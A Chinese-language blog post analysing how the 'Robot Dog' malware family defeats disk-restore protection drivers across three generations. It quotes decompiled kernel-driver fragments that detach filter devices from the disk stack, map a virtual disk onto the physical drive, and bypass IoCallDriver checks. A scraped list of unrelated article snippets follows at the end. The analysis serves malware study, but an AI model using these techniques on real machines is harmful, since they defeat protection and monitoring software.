從機器狗淺析磁碟還原穿越技術(第一代到目前的第三代)
從機器狗淺析磁碟還原穿越技術
本文首先感謝女王提供的無數資料和code ,非常感謝。
磁碟保護驅動工作在檔案過濾系統之下,磁碟過濾驅動(disk.sys)之上
將上層對於磁碟的訪問定位到自己的處理過程
如圖所示 最新版本的狙劍提供了檢視功能,我的系統安裝了nod32
因此有一個eamon.sys掛載在fastfat.sys之上,,防毒軟體就是依靠
這個東西實現的檔案監控,如果我們摘除他 檔案監控也就失效了,
關於這個本文不做進一步討論
第一代機器狗穿越還原是清除//Device//Harddisk0//DR0上的附加裝置
相關程式碼如下
Quote:
UNICODE_STRING objectName;
PDEVICE_OBJECT hardObject = NULL;
PFILE_OBJECT fileObject = NULL;
RtlInitUnicodeString(&objectName, PCIHDD_DR0DEVICE_NAME);
status = IoGetDeviceObjectPointer(&objectName, FILE_READ_ATTRIBUTES, &fileObject, &hardObject);
ASSERT(NT_SUCCESS(status));
HddDr0Device = fileObject->DeviceObject; // 說明 : HddDr0Device->AttachedDevice 就是 hardObject
if(HddDr0Device->AttachedDevice)
{ // 儲存DR0上的附加裝置, 然後斷開附加,
HddAttDevice = InterlockedExchangePointer((PVOID*)&HddDr0Device->AttachedDevice, NULL);
}
ObDereferenceObject(fileObject);
}
這個程式碼比較漂亮的使用了InterlockedExchangePointer
當然你直接迴圈執行HddDr0Device->AttachedDevice=NULL
也沒有多大問題
這就是第一代機器狗,感染的檔案是userinit,詳細的查殺文章不再詳述,
可參考其他文章
Quote:
typedef struct _PARTITION_ENTRY
{
UCHAR active; // 能否啟動標誌
UCHAR StartHead; // 該分割槽起始磁頭號
UCHAR StartSector; // 起始柱面號高2位:6位起始扇區號
UCHAR StartCylinder; // 起始柱面號低8位
UCHAR PartitionType; // 分割槽型別
UCHAR EndHead; // 該分割槽終止磁頭號
UCHAR EndSector; // 終止柱面號高2位:6位終止扇區號
UCHAR EndCylinder; // 終止柱面號低8位
ULONG StartLBA; // 起始扇區號
ULONG TotalSector; // 分割槽尺寸(總扇區數)
} PARTITION_ENTRY, *PPARTITION_ENTRY;
//==============================================================================
typedef struct _MBR_SECTOR
{
UCHAR BootCode[446];
PARTITION_ENTRY Partition[4];
USHORT Signature;
} MBR_SECTOR, *PMBR_SECTOR;
//==============================================================================
typedef struct _BBR_SECTOR
{
USHORT JmpCode; // 2位元組跳轉指令,跳轉到引導程式碼
UCHAR NopCode; // 1位元組nop指令,填充用,保證跳轉指令長3個位元組
UCHAR OEMName[8]; // 8位元組的OEMName
// 下面開始為: BPB( BIOS Parameter Block )
USHORT BytesPerSector; // 每個扇區的位元組數 (512 1024 2048 4096)
UCHAR SectorsPerCluster; // 每個簇的扇區數 ( 1 2 4 8 16 32 64 128 )兩者相乘不能超過32K(簇最大大小
)
USHORT ReservedSectors; // 從卷的第一個扇區開始的保留扇區數目,該值不能為0,對於FAT12/FAT16,該值
通常為1,對於FAT32,典型值為32
UCHAR NumberOfFATs; // 捲上FAT資料結構的數目,該值通常應為2,[NTFS不使用NumberOfFATs欄位,必須為0]
USHORT RootEntries; // 對於FAT12/FAT16,該值表示32位元組目錄項的數目,對於FAT32,該值必須為0;[NTFS不
使用]
USHORT NumberOfSectors16; // 該捲上的扇區總數,該欄位可以為0,如果該欄位為0,則NumberOfSectors32
不能為0;對於FAT32,該欄位必須為0 [FAT32/NTFS不使用該欄位]
UCHAR MediaDescriptor; // 介質型別
USHORT SectorsPerFAT16; // 該欄位標識一個FAT結構佔有的扇區數(FAT12/FAT16),對於FAT32卷,該欄位必
須為0;[FAT32/NTFS不使用該欄位]
USHORT SectorsPerTrack; // 用於INT 0x13中斷的每個磁軌的扇區數
USHORT HeadsPerCylinder; // 用於INT 0x13中斷的每個柱面的磁頭數
ULONG HiddenSectors; // 包含該FAT卷的分割槽之前的隱藏扇區數
ULONG NumberOfSectors32; // 該欄位包含該捲上的所有扇區數目,對於FAT32,該欄位不為0;FAT12/FAT16可
根據實際大小是否超過65536個扇區數決定是否採用該欄位; [NTFS不使用該欄位]
// 下面開始為: EBPB ( Extended BIOS Parameter Block )
ULONG SectorsPerFAT32; // 對於FAT32,該欄位包含一個FAT的大小,而SectorsPerFAT16欄位必須為0;
} BBR_SECTOR, *PBBR_SECTOR;
後來的機器狗作了一些小小改進,變成了感染3個檔案,但是大體的程式碼
沒有多少改變,個人不喜歡將其定義成第二代
感謝MJ0011指出錯誤,
相比第一代機器狗,第2代機器狗反而沒有了檔案系統分析工作
而是使用虛擬磁碟對映真實磁碟的方法實現,解析工作完全交給了檔案系統本身
第一代機器狗沒有多少好說的了。核心部分就是移除DR0上面的附加玩意
我們來看看第二代機器狗,也就是虛擬磁碟的版本
Quote:
SourceString = '//';
v10 = 'D';
v13 = 'e';
v14 = 'v';
v15 = 'i';
v16 = 'c';
v17 = 'e';
v18 = '//';
v19 = 'z';
v20 = 'z';
v21 = 'z';
RtlInitUnicodeString(&DestinationString, &SourceString);
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = 16;
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
v3 = ZwCreateDirectoryObject(&g_DirHandle, 0xF000Fu, &ObjectAttributes);
ntStatus = v3;
if ( v3 >= 0 )
{
ZwMakeTemporaryObject(g_DirHandle);
DeviceNumber = 0;
while ( DeviceNumber < v12 )
{
v4 = CreateDevice(DriverObject, DeviceNumber);
ntStatus = v4;
if ( v4 < 0 )
goto LABEL_17;
++DeviceNumber;
}
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)CreateClose;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)CreateClose;
DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)ReadWriteRoutine;
DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)ReadWriteRoutine;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)IoControl;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)DrvUnload;
memset((void *)&SourceString, 0, 0x40u);
SourceString = '//';
v10 = 'D';
v13 = 'e';
v14 = 'v';
v15 = 'i';
v16 = 'c';
v17 = 'e';
v18 = '//';
v19 = 'z';
v20 = 'z';
v21 = 'z';
v26 = '//';
v27 = 'z';
v28 = 'z';
v29 = 'z';
v30 = 'x';
v31 = 'x';
v32 = 'x';
RtlInitUnicodeString(&DeviceName, &SourceString);
v5 = IoCreateDevice(DriverObject, 0x27u, &DeviceName, FILE_DEVICE_UNKNOWN, 0, 0,
&g_DeviceObject);
ntStatus = v5;
if ( v5 >= 0 )
{
v6 = g_DeviceObject->DeviceExtension;
memset(v6, 0, 0x24u);
v6 = (char *)v6 + 36;
*(_WORD *)v6 = 0;
*((_BYTE *)v6 + 2) = 0;
memset((void *)&SourceString, 0, 0x40u);
SourceString = '//';
v10 = 'D';
v13 = 'o';
v14 = 's';
v15 = 'D';
v16 = 'e';
v17 = 'v';
v18 = 'i';
v19 = 'c';
v20 = 'e';
v21 = 's';
v26 = '//';
v27 = 'z';
v28 = 'z';
v29 = 'z';
v30 = 'x';
v31 = 'x';
v32 = 'x';
RtlInitUnicodeString(&SymbolicLinkName, &SourceString);
v7 = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
當裝置目錄"//Device//zzz"不存在的時候,建立會失敗。
所以應該先建立這個目錄,使用ZwCreateDirectoryObject建立裝置目錄
然後IoCreateDevice完成這個裝置建立並且使用IoCreateSymbolicLink建立指向這個
裝置的link,這一個部分就是建立一個虛擬磁碟。相關程式碼可以參考filedisk
filedisk的功能是將一個映象檔案img,iso,flp等直接mount上去實現直接訪問
WinMount的優點是還能支援filedisk所不支援的rar等檔案格式
感謝MJ和刀客的指點。在這裡第二代機器狗完成了一個工作,將對於虛擬磁碟的
訪問轉換到真實磁碟
分別獲取//GLOBAL??//PhysicalDriveX和//??//PhysicalDriveX
Quote:
wcscpy(globaldrivex,L"//GLOBAL??//PhysicalDrive");
globaldrivex[23]=(WORD)index+0x30;
globaldrivex[24]=0;
wcscpy(drivex,L"//??//PhysicalDrive");
drivex[17]=(WORD)index+0x30;
drivex[18]=0;
RtlInitUnicodeString(&us,globaldrivex);
if(IoGetDeviceObjectPointer(&us,FILE_READ_ATTRIBUTES,FileObject,DeviceObject))
{
RtlInitUnicodeString(&us,drivex);
if(IoGetDeviceObjectPointer(&us,FILE_READ_ATTRIBUTES,FileObject,DeviceObject))
return 1;
}
*DeviceObject=(*FileObject)->DeviceObject;
接下來就是對於轉換虛擬磁碟的操作了
Quote:
signed int ÷ ReadWriteRoutine(int DeviceObject, PIRP Irp)
{
int v2; //
PIRP v3; // [email protected]
signed int v4; // [email protected]
PIO_STACK_LOCATION v5; // [email protected]
v2 = *(_DWORD *)(DeviceObject + 40);
if ( !*(_BYTE *)(v2 + 4)
|| !g_PhyDrvDeviceObject && GetPhysicalDriveObject(&g_PhyDrvDeviceObject, &g_PhyDrvFileObject) <
0 )
{
v3 = Irp;
Irp->IoStatus.Status = STATUS_NO_MEDIA_IN_DEVICE;
v4 = STATUS_NO_MEDIA_IN_DEVICE;
@CompleteIrp:
v3->IoStatus.Information = 0;
IofCompleteRequest(v3, 0);
return v4;
}
v3 = Irp;
v5 = (PIO_STACK_LOCATION)Irp->Tail.Overlay.CurrentStackLocation;
if ( !v5->Parameters.Create.SecurityContext )
{
Irp->IoStatus.Status = 0;
v4 = 0;
goto @CompleteIrp;
}
v5->Control |= 1u;
ExfInterlockedInsertTailList((PLIST_ENTRY)(v2 + 6), &v3->Tail.Overlay.ListEntry, (PKSPIN_LOCK)(v2
+ 14));
KeSetEvent((PRKEVENT)(v2 + 18), 0, 0);
return 259;
}
對於送過來的讀寫請求,首先將這個irp用IoMarkIrpPending設定成pending狀態
然後ExInterlockedInsertTailList送入連結串列並且設定一個Event
另外有一個執行緒專門處理寫入工作,將這個irp上面的資料傳送給真實的磁碟裝置
這個偶不懂,也就不敢亂說了
Quote:
typedef struct _SCSI_REQUEST_BLOCK {
USHORT Length;
UCHAR Function;
UCHAR SrbStatus;
UCHAR ScsiStatus;
UCHAR PathId;
UCHAR TargetId;
UCHAR Lun;
UCHAR QueueTag;
UCHAR QueueAction;
UCHAR CdbLength;
UCHAR SenseInfoBufferLength;
ULONG SrbFlags;
ULONG DataTransferLength;
ULONG TimeOutValue;
PVOID DataBuffer;
PVOID SenseInfoBuffer;
struct _SCSI_REQUEST_BLOCK *NextSrb;
PVOID OriginalRequest;
PVOID SrbExtension;
union {
ULONG InternalStatus;
ULONG QueueSortKey;
};
UCHAR Cdb[16];
} SCSI_REQUEST_BLOCK, *PSCSI_REQUEST_BLOCK;
使用IoCallDriver傳送指令給真實磁碟,第三代對於這裡是使用的MyIoCallDriver
第三代機器狗偶沒有樣本 就只能從MJ0011提供的F5樣本來分析了
這個東東的首先會讀取ftdisk.sys檔案,從檔案中獲取atapi.sys的原始MajorFunction
讀檔案的過程是首先在PE區段內找到INIT,從而定位DriverEntry
從DriverEntry中讀取DispatchRoutine的地址,,搜尋方法還是特徵碼辦法
Quote:
if ( v17 < v26 + v17 )
{
while ( *((_BYTE *)v11 + v17) != -57
|| *((_BYTE *)v11 + v17 + 2) != 48
|| *((_BYTE *)v11 + v17 + 7) != -57
|| *((_BYTE *)v11 + v17 + 9) != 52
|| *((_BYTE *)v11 + v17 + 14) != -57
|| *((_BYTE *)v11 + v17 + 21) != -57
|| *((_BYTE *)v11 + v17 + 28) != -57 )
{
++v17;
if ( v17 >= v18 )
goto LABEL_41;
}
v19 = v30;
if ( v30 )
{
v20 = v31;
if ( v31 )
{
*(DWORD *)v30 = *(DWORD *)(v11 + v17 + 24) - 65536;
v27 = *(DWORD *)(v11 + v17 + 17) - 65536;
*(DWORD *)v20 = *(DWORD *)(v11 + v17 + 17) - 65536;
v28 = *(DWORD *)v19;
v42 = 1;
DbgPrint("xxx address is: %08x....%08x...%08x/n", v17, v28, v27);
偶沒有idb,MJ0011的F5程式碼雖然很亂,不過還是能猜是特徵碼定位出來的
另外一個功能就是獲取atapi的drx
RtlInitUnicodeString((UNICODE_STRING *)&v19, L"//Device//HardDiskVolume%d");
if ( v7 < 0 )
{
v5 = v18;
}
else
{
ATAPI_drvobj = (int)Object;
v4 = GetLastDiskDeviceObject((int)Object);
v5 = v4;
if ( v4 )
{
DbgPrint("ata dr0 dev obj is : %08x...", v4);
ata_dr0device_object = v5;
}
ObfDereferenceObject(Object);
}
獲得最底層disk程式碼
while ( v2 )
{
if ( *(DWORD *)(v2 + 44) == FILE_DEVICE_DISK )
result = v2;
v2 = *(DWORD *)(v2 + 12);
}
似乎是堆疊搜尋過來的
第三代採用了自己的IoCallDriver
系統的IoCallDriver-pIofCallDriver-IopfCallDriver
其中有大量的對於Object和IRP的驗證
最後來到呼叫點
Quote:
.text:0040C7D0 ; __fastcall IopfCallDriver(x, x)
.text:0040C7D0 @
.text:0040C7D0 ; IovCallDriver(x,x)+9B p ...
.text:0040C7D0 dec byte ptr [edx+23h]
.text:0040C7D3 mov al, [edx+23h]
.text:0040C7D6 test al, al
.text:0040C7D8 jle loc_444DDC
.text:0040C7DE mov eax, [edx+60h]
.text:0040C7E1 sub eax, 24h
.text:0040C7E4 push esi
.text:0040C7E5 mov [edx+60h], eax ; 下層stack
.text:0040C7E8 mov [eax+14h], ecx ; 獲取DeviceObject
.text:0040C7EB movzx eax, byte ptr [eax] ; 指向MajorFunction
.text:0040C7EE mov esi, [ecx+8] ; DriverObject
.text:0040C7F1 push edx
.text:0040C7F2 push ecx
.text:0040C7F3 call dword ptr [esi+eax*4+38h] ; 呼叫DispatchRoutine
.text:0040C7F7 pop esi
.text:0040C7F8 retn
由此我們完全可以自己實現
剩下的部分還有一個讀取開啟userinit,從中ObReferenceObjectByHandle獲得檔案物件
file object -> vpb -> device object然後
傳送IRP_MJ_FILE_SYSTEM_CONTROL獲取檔案
Quote:
KeInitializeEvent(&Event, SynchronizationEvent, 0);
*(DWORD *)(v3 + 60) = &v39;
*(DWORD *)(v3 + 44) = &Event;
*(DWORD *)(v3 + 4) = 0;
*(DWORD *)(v3 + 8) = IRP_DEFER_IO_COMPLETION;
*(DWORD *)(v3 + 40) = &IoStatusBlock;
*(_BYTE *)(v3 + 32) = KernelMode;
*(DWORD *)(v3 + 80) = KeGetCurrentThread();
*(DWORD *)(v3 + 100) = Object;
v22 = *(DWORD *)(v3 + 96) - 36;
*(_BYTE *)v22 = IRP_MJ_FILE_SYSTEM_CONTROL;
*(DWORD *)(v22 + 20) = *(DWORD *)(*((DWORD *)Object + 2) + 8);
*(DWORD *)(v22 + 24) = Object;
*(DWORD *)(v22 + 12) = 589939;
*(DWORD *)(v22 + 8) = 8;
*(DWORD *)(v22 + 16) = &v29;
*(DWORD *)(v22 + 4) = 272;
不過的感覺發送給atapi的scsi_request_block與第二代相差不大
也沒能看明白。不敢亂說了。哈
相關推薦
從機器狗淺析磁碟還原穿越技術(第一代到目前的第三代)
從機器狗淺析磁碟還原穿越技術 本文首先感謝女王提供的無數資料和code ,非常感謝。 磁碟保護驅動工作在檔案過濾系統之下,磁碟過濾驅動(disk.sys)之上 將上層對於磁碟的訪問定位到自己的處理過程 如圖所示 最新版本的狙劍提供了檢視功能,我的系統安裝了nod32 因此有一
計算機網絡管理技術復習(第三版)楊雲江主編(轉載請註明出處---https://www.cnblogs.com/qingl)
請求 計算機網絡 數據信息 網絡環境 時間 應用程序 擴展 應用 抽象 計算機網絡管理技術復習(第三版)楊雲江主編(轉載請註明出處---https://www.cnblogs.com/qingl) 第一章 1-3,簡述OSI模型7層的基本功能。 答: 1)物理層: 通過通信
資訊保安技術實用教程(第三版)第3版
本科教材 (已經出版) http://www.phei.com.cn/module/goods/wssd_content.jsp?bookid=47935 主 編: 張同光 ISBN號: 978-7-121-2
Python程式設計:從入門到實踐的動手試一試答案(第三章)
#3-1 姓名 names = ['Qiqi','Danliang','Mingliang','Peng'] for x in range(0,4): print(names[x]) #3
資料探勘概念與技術(原書第三版)範明 孟小峰譯-----第六章課後習題答案
第六章答案 第六章答案 該答案為重慶大學計算機學院Jack Channy所作,由於本人水平有限,難免有錯誤和不當之處,如有意見請評論或者發郵件至[email protected]。 6.1 假設有資料集D上所有閉頻繁項集
《現代作業系統(第三版)中文版》電子書附下載連結+30個總結JVM虛擬機器的技術文排版好(收藏版)
技術書閱讀方法論 一.速讀一遍(最好在1~2天內完成) 人的大腦記憶力有限,在一天內快速看完一本書會在大腦裡留下深刻印象,對於之後複習以及總結都會有特別好的作用。 對於每一章的知識,先閱讀標題,弄懂大概講的是什麼主題,再去快速看一遍,不懂也沒有關係,但是一定要在不懂的
從機器學習演算法的發展 理解 端到端(end to end)學習
經典機器學習方式是以人類的先驗知識將raw資料預處理成feature,然後對feature進行分類。分類結果十分取決於feature的好壞。 傳統機器學習專家將大部分時間花費在設計feature上。那時的機器學習有個更合適的名字叫feature engineering 。
平安科技移動開發二隊技術周報(第四期)
移動開發 程序猿 book watch 來看 home 錯誤 去那 this 平安科技移動開發二隊技術周報(第四期) 業界新聞 1)Java 9將於2016年正式公布 Oracle已經宣布了Java 9的時間表。其目標是在2016年9年正式公布
分布式技術追蹤 2017年第三十二期
-c 架構 運維基礎 維基 高可用 archive 應用 sos pan 分布式系統實踐 1. 數據一致性-分區可用性-性能——多副本強同步數據庫系統實現之我見 http://hedengcheng.com/?p=892 摘要: 這篇文章非常深入的解釋了數據一致性的問題和解
分布式技術追蹤 2017年第三十四期
常見 關鍵技術 blank 日誌 基礎架構 -c 多進程 nbsp rdb 分布式系統實踐 1. Linearizability 一致性驗證 http://dwz.cn/6pPYpb 摘要: 一致性是分布式系統很常見的特性, Jepsen是驗證分布式系統一致性的有力工具.
分布式技術追蹤 2017年第三十七期
生態 golang 摘要 比較 weixin 設計 too .com 技術文章 分布式系統實踐 1. 微信開源PhxQueue:高可用、高可靠、高性能的分布式隊列 https://mp.weixin.qq.com/s/Hr4TUg8o1AQkowQpSDIhYA 摘要: P
從單線走向雙線,第三代用戶體驗即將到來?
缺陷 技術分享 樂趣 獲取信息 了解 通道 下單 用戶體驗 -i 雙十一在即,加之今年的新零售狂潮,零售業從線上到線下可以說紛紛摩拳擦掌。京東天貓劍指雙十一已是老生常談,值得註意的是,今年的雙十一迎來了更多樣化的全民購物盛事,比如飛凡APP推出的“2017飛凡狂逛節”。據
layui中從子窗口傳遞數據到父窗口,第三個子彈層的值傳給第二個彈層
9.png set 定義 local 個人 還需要 參考 cal 應該 最近做一個項目的需要多個彈層,每個彈層中還需要數據傳遞, 大概如圖,看圖自己應該明白 如何在在b頁面選擇好的值傳給a頁面的問題,這個問題我百度了好久都沒有解決 後來參考了文檔 http://fuxia
分布式技術追蹤 2018年第三十一期
響應時間 distrib 我們 ice ber apple dns 理解 ofo 分布式技術追蹤 2018年第三十一期 分布式系統實踐 1. Google‘s New Book: The Site Reliability Workbook http://highscalab
機器人作業系統(ROS)淺析(肖軍浩 博士 譯) 學習筆記一(第一章到第五章)
機器人作業系統(ROS)淺析(肖軍浩 博士 譯) 學習筆記 第一章: 第 1 章 緒論 1.1 選擇 ROS 的理由 分散式計算 現代機器人系統往往需要多個計算機同時執行多個 程序,例如: (1)一些機器人搭載多臺計算機,每臺計算機用於控制機器人的 部分驅動器或感測器
《深入理解JAVA虛擬機器》詳細解讀(第三章 ):垃圾收集器與記憶體分配策略
目錄 一、垃圾收集器與記憶體分配策略 1 概述 2 物件已經死亡? 2.1引用計數法(未使用) 2.2可達性分析演算法 2.3 再談引用 2.4 生存還是死亡 2.5 回收方法區 3 垃圾收集演算法 3.1 複製演算法(Copy) 3
學習筆記之《Java核心技術卷I》---- 第三章 Java的基本程式設計結構
Java中沒unsigned關鍵字 int Math.round(float a) long Math.round(double a) &&、||:短路操作 &、|:非短路操作 列舉型別必須放在放在函式之外定義
機器學習面試總結(第三篇)
9、整合學習大致分類?通俗理解怎樣才能提高整合學習的效能? 10、Booststrap sampling需要解決的問題?Booststrap sampling的思想?Bagging的基本思想?從偏差方差角度解釋bagging? 11、隨機森林RandomForest的思想?RF與bagg
深入理解計算機系統(原書第三版)練習題2.6 感性認識整型和浮點型別(同一個數)在機器中表示
/** * 練習題2.6 感性認識整型和浮點型別(同一個數)在機器中表示 * 由於我的機器是小端表示,將列印結果還原真實數並用二進位制表示 * 41913500 -->(還原) 0x00359141 -->(二進位制) 0000 0000 0011 0101
【自學筆記】0基礎自學機器學習 (第三天)
“資料”是機器學習的基礎。 初學機器學習時,我們通常處理的資料格式通常是以下的形式: 屬性(特徵) 幾室 幾廳 供暖(0地熱 1暖氣)